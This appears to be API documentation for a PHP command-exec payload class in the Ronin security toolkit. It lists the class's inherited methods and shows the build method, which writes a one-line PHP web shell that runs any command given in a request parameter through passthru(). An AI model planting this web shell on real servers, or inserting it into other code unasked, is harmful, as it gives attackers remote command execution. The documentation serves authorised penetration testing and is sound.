Class: Ronin::Payloads::PHP::CmdExec

Inherits:

Ronin::Payloads::PHPPayload

• Object
• Ronin::Payloads::Payload
• Ronin::Payloads::PHPPayload
• Ronin::Payloads::PHP::CmdExec

Defined in:

lib/ronin/payloads/builtin/php/cmd_exec.rb

Overview

A basic PHP command exec payload.

Instance Attribute Summary

Attributes inherited from Ronin::Payloads::Payload

#encoders, #payload

Instance Method Summary

• #build ⇒ Object

  Builds the PHP command exec payload.

Methods inherited from Ronin::Payloads::PHPPayload

payload_type

Methods inherited from Ronin::Payloads::Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the PHP command exec payload.

# File 'lib/ronin/payloads/builtin/php/cmd_exec.rb', line 47

def build
  query_param_string = params[:query_param].dump

  @payload = %{<?php if(isset($_REQUEST[#{query_param_string})){echo "<exec>";passthru($_REQUEST[#{query_param_string}]);echo "</exec>";}?>}
end